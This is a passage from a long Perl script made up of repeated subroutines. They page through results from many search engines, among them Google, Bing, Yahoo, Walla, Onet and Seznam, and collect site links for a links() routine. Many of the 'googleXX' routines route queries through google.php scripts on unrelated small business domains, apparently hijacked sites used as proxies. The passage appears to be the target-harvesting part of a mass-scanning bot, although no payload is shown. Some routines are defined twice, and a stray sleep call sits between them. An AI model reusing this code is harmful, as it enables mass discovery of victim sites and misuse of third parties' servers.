  4375. my @grep = &links($link);
  4376. push(@list,@grep);
  4377. }
  4378. }
  4379. }
  4380. return @list;
  4381. }
  4382. sub barnner20() {
  4383. my @list;
  4384. my $key = $_[0];
  4385. for (my $i=0; $i<=1000; $i+=100){
  4386. my $search = ($barner20.uri_escape($key)."&num=100&start=".$i);
  4387. my $res = &search_engine_query($search);
  4388. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4389. my $link = $1;
  4390. if ($link !~ /google/){
  4391. my @grep = &links($link);
  4392. push(@list,@grep);
  4393. }
  4394. }
  4395. }
  4396. return @list;
  4397. }
  4398. sub barnner21() {
  4399. my @list;
  4400. my $key = $_[0];
  4401. for (my $i=0; $i<=1000; $i+=100){
  4402. my $search = ($barner21.uri_escape($key)."&num=100&start=".$i);
  4403. my $res = &search_engine_query($search);
  4404. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4405. my $link = $1;
  4406. if ($link !~ /google/){
  4407. my @grep = &links($link);
  4408. push(@list,@grep);
  4409. }
  4410. }
  4411. }
  4412. return @list;
  4413. }
  4414. sub barnner22() {
  4415. my @list;
  4416. my $key = $_[0];
  4417. for (my $i=0; $i<=1000; $i+=100){
  4418. my $search = ($barner22.uri_escape($key)."&num=100&start=".$i);
  4419. my $res = &search_engine_query($search);
  4420. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4421. my $link = $1;
  4422. if ($link !~ /google/){
  4423. my @grep = &links($link);
  4424. push(@list,@grep);
  4425. }
  4426. }
  4427. }
  4428. return @list;
  4429. }
  4430. sub barnner23() {
  4431. my @list;
  4432. my $key = $_[0];
  4433. for (my $i=0; $i<=1000; $i+=100){
  4434. my $search = ($barner23.uri_escape($key)."&num=100&start=".$i);
  4435. my $res = &search_engine_query($search);
  4436. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4437. my $link = $1;
  4438. if ($link !~ /google/){
  4439. my @grep = &links($link);
  4440. push(@list,@grep);
  4441. }
  4442. }
  4443. }
  4444. return @list;
  4445. }
  4446. sub barnner24() {
  4447. my @list;
  4448. my $key = $_[0];
  4449. for (my $i=0; $i<=1000; $i+=100){
  4450. my $search = ($barner24.uri_escape($key)."&num=100&start=".$i);
  4451. my $res = &search_engine_query($search);
  4452. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4453. my $link = $1;
  4454. if ($link !~ /google/){
  4455. my @grep = &links($link);
  4456. push(@list,@grep);
  4457. }
  4458. }
  4459. }
  4460. return @list;
  4461. }
  4462. sub barnner25() {
  4463. my @list;
  4464. my $key = $_[0];
  4465. for (my $i=0; $i<=1000; $i+=100){
  4466. my $search = ($barner25.uri_escape($key)."&num=100&start=".$i);
  4467. my $res = &search_engine_query($search);
  4468. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4469. my $link = $1;
  4470. if ($link !~ /google/){
  4471. my @grep = &links($link);
  4472. push(@list,@grep);
  4473. }
  4474. }
  4475. }
  4476. return @list;
  4477. }
  4478. sub google() {
  4479. my @list;
  4480. my $key = $_[0];
  4481. for (my $i=0; $i<=1000; $i+=100){
  4482. my $search = ("http://www.google.com/search?q=".uri_escape($key)."&num=100&filter=0&start=".$i);
  4483. my $res = &search_engine_query($search);
  4484. while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4485. my $link = $1;
  4486. if ($link !~ /google/){
  4487. my @grep = &links($link);
  4488. push(@list,@grep);
  4489. }
  4490. }
  4491. }
  4492. return @list;
  4493. }
  4494. sub walla() {
  4495. my @list;
  4496. my $key = $_[0];
  4497. for ($b=0; $b<=100; $b+=1) {
  4498. my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
  4499. my $res = &search_engine_query($search);
  4500. while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
  4501. my $link = $1;
  4502. if ($link !~ /walla\.co\.il/){
  4503. my @grep = &links($link);
  4504. push(@list,@grep);
  4505. }
  4506. }
  4507. }
  4508. return @list;
  4509. }
  4510. sub yahoo(){
  4511. my @list;
  4512. my $key = $_[0];
  4513. for ($b=1; $b<=1000; $b+=10) {
  4514. my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b);
  4515. my $res = &search_engine_query($search);
  4516. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  4517. my $link = $1;
  4518. if ($link !~ /yahoo\.com/){
  4519. my @grep = &links($link);
  4520. push(@list,@grep);
  4521. }
  4522. }
  4523. }
  4524. return @list;
  4525. }
  4526. sub ask() {
  4527. my @list;
  4528. my $key = $_[0];
  4529. for (my $i=1; $i<=1000; $i+=100) {
  4530. my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  4531. my $res = &search_engine_query($search);
  4532. while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  4533. my $link = $1;
  4534. if ($link !~ /ask\.com/){
  4535. my @grep = &links($link);
  4536. push(@list,@grep);
  4537. }
  4538. }
  4539. }
  4540. return @list;
  4541. }
  4542. sub onet() {
  4543. my @list;
  4544. my $key = $_[0];
  4545. my $b = 0;
  4546. for ($b=1; $b<=400; $b+=10) {
  4547. my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
  4548. my $res = &search_engine_query($search);
  4549. while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
  4550. my $link = $1;
  4551. if ($link !~ /onet|webcache|query/){
  4552. my @grep = &links($link);
  4553. push(@list,@grep);
  4554. }
  4555. }
  4556. }
  4557. return @list;
  4558. }
  4559. sub clusty() {
  4560. my @list;
  4561. my $key = $_[0];
  4562. my $b = 0;
  4563. for ($b=10; $b<=200; $b+=10) {
  4564. my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
  4565. my $res = &search_engine_query($search);
  4566. if ($res !~ /next/) {$b=100;}
  4567. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  4568. my $link = $1;
  4569. if ($1 !~ /yippy\.com/){
  4570. my @grep = &links($link);
  4571. push(@list,@grep);
  4572. }
  4573. }
  4574. }
  4575. return @list;
  4576. }
  4577. sub bing() {
  4578. my @list;
  4579. my $key = $_[0];
  4580. for (my $i=1; $i<=400; $i+=10) {
  4581. my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
  4582. my $res = &search_engine_query($search);
  4583. while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4584. my $link = $1;
  4585. if ($link !~ /google/) {
  4586. my @grep = &links($link);
  4587. push(@list,@grep);
  4588. }
  4589. }
  4590. }
  4591. return @list;
  4592. }
  4593. sub sapo(){
  4594. my @list;
  4595. my $key = $_[0];
  4596. for ($b=1; $b<=50; $b+=1) {
  4597. my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
  4598. my $res = &search_engine_query($search);
  4599. if ($res !~ m/Next/i) {$b=50;}
  4600. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  4601. my $link = $1;
  4602. if ($1 !~ /\.sapo\.pt/){
  4603. my @grep = &links($link);
  4604. push(@list,@grep);
  4605. }
  4606. }
  4607. }
  4608. return @list;
  4609. }
  4610. sub lycos() {
  4611. my @list;
  4612. my $key = $_[0];
  4613. for ($b=0; $b<=50; $b+=1) {
  4614. my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
  4615. my $res = &search_engine_query($search);
  4616. while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {
  4617. my $link = $1;
  4618. if ($link !~ /lycos\.com/){
  4619. my @grep = &links($link);
  4620. push(@list,@grep);
  4621. }
  4622. }
  4623. }
  4624. return @list;
  4625. }
  4626. sub uol() {
  4627. my @list;
  4628. my $key = $_[0];
  4629. for ($b=0; $b<=1000; $b+=10) {
  4630. my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
  4631. my $res = &search_engine_query($search);
  4632. if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
  4633. while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  4634. my $link = $1;
  4635. if ($link !~ /uol\.com\.br|\/web/i){
  4636. my @grep = &links($link);
  4637. push(@list,@grep);
  4638. }
  4639. }
  4640. }
  4641. return @list;
  4642. }
  4643. sub seznam() {
  4644. my @list;
  4645. my $key = $_[0];
  4646. for ($b=1; $b<=300; $b+=20) {
  4647. my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
  4648. my $res = &search_engine_query($search);
  4649. while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  4650. my $link = $1;
  4651. if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
  4652. my @grep = &links($link);
  4653. push(@list,@grep);
  4654. }
  4655. }
  4656. }
  4657. return @list;
  4658. }
  4659. sub hotbot() {
  4660. my @list;
  4661. my $key = $_[0];
  4662. for ($b=0; $b<=50; $b+=1) {
  4663. my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
  4664. my $res = &search_engine_query($search);
  4665. if ($res =~ m/had no web result/i) {$b=50;}
  4666. while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
  4667. my $link = $1;
  4668. if ($link !~ /hotbot\.com/){
  4669. my @grep = &links($link);
  4670. push(@list,@grep);
  4671. }
  4672. }
  4673. }
  4674. return @list;
  4675. }
  4676. sub aol() {
  4677. my @list;
  4678. my $key = $_[0];
  4679. for ($b=0; $b<=300; $b+=10) {
  4680. my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
  4681. my $res = &search_engine_query($search);
  4682. while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  4683. my $link = $1;
  4684. if ($link !~ /aol\.com/){
  4685. my @grep = &links($link);
  4686. push(@list,@grep);
  4687. }
  4688. }
  4689. }
  4690. return @list;
  4691. }
  4692. sub biglobe {
  4693. my $key = $_[0];
  4694. my @list;
  4695. for ($b=1; $b<=500; $b+=10) {
  4696. $num += $num;
  4697. my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
  4698. my $res = &search_engine_query($search);
  4699. while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
  4700. my $link = $1;
  4701. if ($link !~ /biglobe/){
  4702. my @grep = &links($link);
  4703. push(@list,@grep);
  4704. }
  4705. }
  4706. }
  4707. return @list;
  4708. }
  4709. sub googleCA() {
  4710.     my @list;
  4711.     my $key = $_[0];
  4712.     for (my $i=0; $i<=1000; $i+=100){
  4713.         my $search = ("http://www.google.ca/search?q=".uri_escape($key)."&hl=&cr=countryCA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4714.         my $res = &search_engine_query($search);
  4715.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4716.             my $link = $1;
  4717.             if ($link !~ /googleCA/){
  4718.                 my @grep = links($link);
  4719.                 push(@list,@grep);
  4720.             }
  4721.         }
  4722.     }
  4723.     return @list;
  4724. }
  4725.  
  4726. sub googleDE() {
  4727.     my @list;
  4728.     my $key = $_[0];
  4729.     for (my $i=0; $i<=1000; $i+=100){
  4730.         my $search = ("http://www.google.de/search?q=".uri_escape($key)."&hl=&cr=countryDE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4731.         my $res = &search_engine_query($search);
  4732.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4733.             my $link = $1;
  4734.             if ($link !~ /googleDE/){
  4735.                 my @grep = links($link);
  4736.                 push(@list,@grep);
  4737.             }
  4738.         }
  4739.     }
  4740.     return @list;
  4741. }
  4742.  
  4743. sub googleUK() {
  4744.     my @list;
  4745.     my $key = $_[0];
  4746.     for (my $i=0; $i<=1000; $i+=100){
  4747.         my $search = ("http://www.google.co.uk/search?q=".uri_escape($key)."&hl=&cr=countryUK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4748.         my $res = &search_engine_query($search);
  4749.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4750.             my $link = $1;
  4751.             if ($link !~ /googleUK/){
  4752.                 my @grep = links($link);
  4753.                 push(@list,@grep);
  4754.             }
  4755.         }
  4756.     }
  4757.     return @list;
  4758. }
  4759.  
  4760. sub googleDE() {
  4761.     my @list;
  4762.     my $key = $_[0];
  4763.        my $search = ("http://sbb.ba/google.php?key=".key($key));
  4764.         my $res = &search_engine_query($search);
  4765.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4766.             my $link = $1;
  4767.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4768.                 my @grep = links($link);
  4769.                 push(@list,@grep);
  4770.            }
  4771.         }
  4772.     return @list;
  4773. }
  4774.  
  4775. sub googleUK() {
  4776.     my @list;
  4777.     my $key = $_[0];
  4778.         my $search = ("http://4lapi.info/google.php?key=".key($key));
  4779.         my $res = &search_engine_query($search);
  4780.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4781.             my $link = $1;
  4782.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4783.                 my @grep = links($link);
  4784.                 push(@list,@grep);
  4785.            }
  4786.         }
  4787.     return @list;
  4788. }
  4789.  
  4790. sub googleFR() {
  4791.     my @list;
  4792.     my $key = $_[0];
  4793.         my $search = ("http://poshcafe.ru/google.php?key=".key($key));
  4794.         my $res = &search_engine_query($search);
  4795.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4796.             my $link = $1;
  4797.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4798.                 my @grep = links($link);
  4799.                 push(@list,@grep);
  4800.            }
  4801.         }
  4802.     return @list;
  4803. }
  4804.  
  4805. sub googleES() {
  4806.     my @list;
  4807.     my $key = $_[0];
  4808.         my $search = ("http://stroyviza.ru/google.php?key=".key($key));
  4809.         my $res = &search_engine_query($search);
  4810.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4811.             my $link = $1;
  4812.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4813.                 my @grep = links($link);
  4814.                 push(@list,@grep);
  4815.            }
  4816.         }
  4817.     return @list;
  4818. }
  4819.  
  4820. sub googleIT() {
  4821.     my @list;
  4822.     my $key = $_[0];
  4823.         my $search = ("http://www.seniorgroup.ru/google.php?key=".key($key));
  4824.         my $res = &search_engine_query($search);
  4825.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4826.             my $link = $1;
  4827.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4828.                 my @grep = links($link);
  4829.                 push(@list,@grep);
  4830.            }
  4831.         }
  4832.     return @list;
  4833. }
  4834.  
  4835. sub googleNL() {
  4836.     my @list;
  4837.     my $key = $_[0];
  4838.         my $search = ("http://www.seo-galaxy.ru/google.php?key=".key($key));
  4839.         my $res = &search_engine_query($search);
  4840.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4841.             my $link = $1;
  4842.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4843.                 my @grep = links($link);
  4844.                 push(@list,@grep);
  4845.            }
  4846.         }
  4847.     return @list;
  4848. }
  4849.  
  4850. sub googleSE() {
  4851.     my @list;
  4852.     my $key = $_[0];
  4853.         my $search = ("http://www.artpatal.ru/google.php?key=".key($key));
  4854.         my $res = &search_engine_query($search);
  4855.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4856.             my $link = $1;
  4857.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4858.                 my @grep = links($link);
  4859.                 push(@list,@grep);
  4860.            }
  4861.         }
  4862.     return @list;
  4863. }
  4864.  
  4865. sub googleNO() {
  4866.     my @list;
  4867.     my $key = $_[0];
  4868.         my $search = ("http://www.gukkapital.ru/google.php?key=".key($key));
  4869.         my $res = &search_engine_query($search);
  4870.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4871.             my $link = $1;
  4872.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4873.                 my @grep = links($link);
  4874.                 push(@list,@grep);
  4875.            }
  4876.         }
  4877.     return @list;
  4878. }
  4879.  
  4880.  
  4881. sub googleBR() {
  4882.     my @list;
  4883.     my $key = $_[0];
  4884.         my $search = ("http://vek-tek.ru/google.php?key=".key($key));
  4885.         my $res = &search_engine_query($search);
  4886.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4887.             my $link = $1;
  4888.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4889.                 my @grep = links($link);
  4890.                 push(@list,@grep);
  4891.            }
  4892.         }
  4893.     return @list;
  4894. }
  4895.  
  4896.  
  4897. sub googleCO() {
  4898.     my @list;
  4899.     my $key = $_[0];
  4900.         my $search = ("http://emanuel-club.com/google.php?key=".key($key));
  4901.         my $res = &search_engine_query($search);
  4902.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4903.             my $link = $1;
  4904.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4905.                 my @grep = links($link);
  4906.                 push(@list,@grep);
  4907.            }
  4908.         }
  4909.     return @list;
  4910. }
  4911.  
  4912.  
  4913. sub googleAU() {
  4914.     my @list;
  4915.     my $key = $_[0];
  4916.         my $search = ("http://lomkor.com/google.php?key=".key($key));
  4917.         my $res = &search_engine_query($search);
  4918.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4919.             my $link = $1;
  4920.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4921.                 my @grep = links($link);
  4922.                 push(@list,@grep);
  4923.            }
  4924.         }
  4925.     return @list;
  4926. }
  4927.  
  4928. sub googleRU() {
  4929.     my @list;
  4930.     my $key = $_[0];
  4931.         my $search = ("http://www.resem.ru/google.php?key=".key($key));
  4932.         my $res = &search_engine_query($search);
  4933.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4934.             my $link = $1;
  4935.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4936.                 my @grep = links($link);
  4937.                 push(@list,@grep);
  4938.            }
  4939.         }
  4940.     return @list;
  4941. }
  4942.  
  4943. sub googlePL() {
  4944.     my @list;
  4945.     my $key = $_[0];
  4946.         my $search = ("http://www.oknaarkor.ru/google.php?key=".key($key));
  4947.         my $res = &search_engine_query($search);
  4948.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4949.             my $link = $1;
  4950.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4951.                 my @grep = links($link);
  4952.                 push(@list,@grep);
  4953.            }
  4954.         }
  4955.     return @list;
  4956. }
  4957.  
  4958. sub googleIL() {
  4959.     my @list;
  4960.     my $key = $_[0];
  4961.         my $search = ("http://www.ssangyong-n32.ru/google.php?key=".key($key));
  4962.         my $res = &search_engine_query($search);
  4963.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4964.             my $link = $1;
  4965.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4966.                 my @grep = links($link);
  4967.                 push(@list,@grep);
  4968.            }
  4969.         }
  4970.     return @list;
  4971. }
  4972.  
  4973. sub googleJP() {
  4974.     my @list;
  4975.     my $key = $_[0];
  4976.         my $search = ("http://stankoservis.org/google.php?key=".key($key));
  4977.         my $res = &search_engine_query($search);
  4978.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4979.             my $link = $1;
  4980.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4981.                 my @grep = links($link);
  4982.                 push(@list,@grep);
  4983.            }
  4984.         }
  4985.     return @list;
  4986. }
  4987.  
  4988. sub googleCN() {
  4989.     my @list;
  4990.     my $key = $_[0];
  4991.         my $search = ("http://naturlih.com.ua/google.php?key=".key($key));
  4992.         my $res = &search_engine_query($search);
  4993.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  4994.             my $link = $1;
  4995.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  4996.                 my @grep = links($link);
  4997.                 push(@list,@grep);
  4998.            }
  4999.         }
  5000.     return @list;
  5001. }
  5002.  
  5003.  
  5004. sub googleIN() {
  5005.     my @list;
  5006.     my $key = $_[0];
  5007.         my $search = ("http://www.dtdf.net/google.php?key=".key($key));
  5008.         my $res = &search_engine_query($search);
  5009.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  5010.             my $link = $1;
  5011.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  5012.                 my @grep = links($link);
  5013.                 push(@list,@grep);
  5014.            }
  5015.         }
  5016.     return @list;
  5017. }
  5018.  
  5019. sub googleKR() {
  5020.     my @list;
  5021.     my $key = $_[0];
  5022.         my $search = ("http://w58.varelkka.com/google.php?key=".key($key));
  5023.         my $res = &search_engine_query($search);
  5024.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  5025.             my $link = $1;
  5026.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  5027.                 my @grep = links($link);
  5028.                 push(@list,@grep);
  5029.            }
  5030.         }
  5031.     return @list;
  5032. }
  5033.  
  5034. sub googleRO() {
  5035.     my @list;
  5036.     my $key = $_[0];
  5037.         my $search = ("http://www.pechatnaruzhka.ru/google.php?key=".key($key));
  5038.         my $res = &search_engine_query($search);
  5039.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  5040.             my $link = $1;
  5041.            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  5042.                 my @grep = links($link);
  5043.                 push(@list,@grep);
  5044.            }
  5045.         }
  5046.     return @list;
  5047. }
  5048.  
  5049.  
  5050. sub googleZA() {
  5051.     my @list;
  5052.     my $key = $_[0];
  5053.         my $search = ("http://mir-torzhestv.ru/google.php?key=".key($key));
  5054.         my $res = &search_engine_query($search);
  5055.         while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
  5056.             my $link = $1;
  5057.             if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
  5058.                 my @grep = links($link);
  5059.                 push(@list,@grep);
  5060.            }
  5061.         }
  5062.     return @list;
  5063. }
  5064.  
  5065. sub bingDE() {
  5066.     my @list;
  5067.     my $key = $_[0];
  5068.     for (my $i=1; $i<=1000; $i+=10) {
  5069.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=de&rf=1&first=".$i."&FORM=PORE");
  5070.         my $res = &search_engine_query($search);
  5071.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5072.             my $link = $1;
  5073.             if ($link !~ /msn|live|bingDE/) {
  5074.                 my @grep = links($link);
  5075.                 push(@list,@grep);
  5076.             }
  5077.         }
  5078.     }
  5079.     return @list;
  5080. }
  5081. sleep(4);
  5082. sub bingUK() {
  5083.     my @list;
  5084.     my $key = $_[0];
  5085.     for (my $i=1; $i<=1000; $i+=10) {
  5086.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=uk&rf=1&first=".$i."&FORM=PORE");
  5087.         my $res = &search_engine_query($search);
  5088.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5089.             my $link = $1;
  5090.             if ($link !~ /msn|live|bingUK/) {
  5091.                 my @grep = links($link);
  5092.                 push(@list,@grep);
  5093.             }
  5094.         }
  5095.     }
  5096.     return @list;
  5097. }
  5098.  
  5099. sub bingCA() {
  5100.     my @list;
  5101.     my $key = $_[0];
  5102.     for (my $i=1; $i<=1000; $i+=10) {
  5103.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE");
  5104.         my $res = &search_engine_query($search);
  5105.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5106.             my $link = $1;
  5107.             if ($link !~ /msn|live|bingCA/) {
  5108.                 my @grep = links($link);
  5109.                 push(@list,@grep);
  5110.             }
  5111.         }
  5112.     }
  5113.     return @list;
  5114. }
  5115.  
  5116. sub bingBR() {
  5117.     my @list;
  5118.     my $key = $_[0];
  5119.     for (my $i=1; $i<=1000; $i+=10) {
  5120.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=br&rf=1&first=".$i."&FORM=PORE");
  5121.         my $res = &search_engine_query($search);
  5122.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5123.             my $link = $1;
  5124.             if ($link !~ /msn|live|bingBR/) {
  5125.                 my @grep = links($link);
  5126.                 push(@list,@grep);
  5127.             }
  5128.         }
  5129.     }
  5130.     return @list;
  5131. }
  5132.  
  5133. sub bingFR() {
  5134.     my @list;
  5135.     my $key = $_[0];
  5136.     for (my $i=1; $i<=1000; $i+=10) {
  5137.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE");
  5138.         my $res = &search_engine_query($search);
  5139.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5140.             my $link = $1;
  5141.             if ($link !~ /msn|live|bingFR/) {
  5142.                 my @grep = links($link);
  5143.                 push(@list,@grep);
  5144.             }
  5145.         }
  5146.     }
  5147.     return @list;
  5148. }
  5149.  
  5150. sub bingES() {
  5151.     my @list;
  5152.     my $key = $_[0];
  5153.     for (my $i=1; $i<=1000; $i+=10) {
  5154.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=es&rf=1&first=".$i."&FORM=PORE");
  5155.         my $res = &search_engine_query($search);
  5156.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5157.             my $link = $1;
  5158.             if ($link !~ /msn|live|bingES/) {
  5159.                 my @grep = links($link);
  5160.                 push(@list,@grep);
  5161.             }
  5162.         }
  5163.     }
  5164.     return @list;
  5165. }
  5166.  
  5167. sub bingIT() {
  5168.     my @list;
  5169.     my $key = $_[0];
  5170.     for (my $i=1; $i<=1000; $i+=10) {
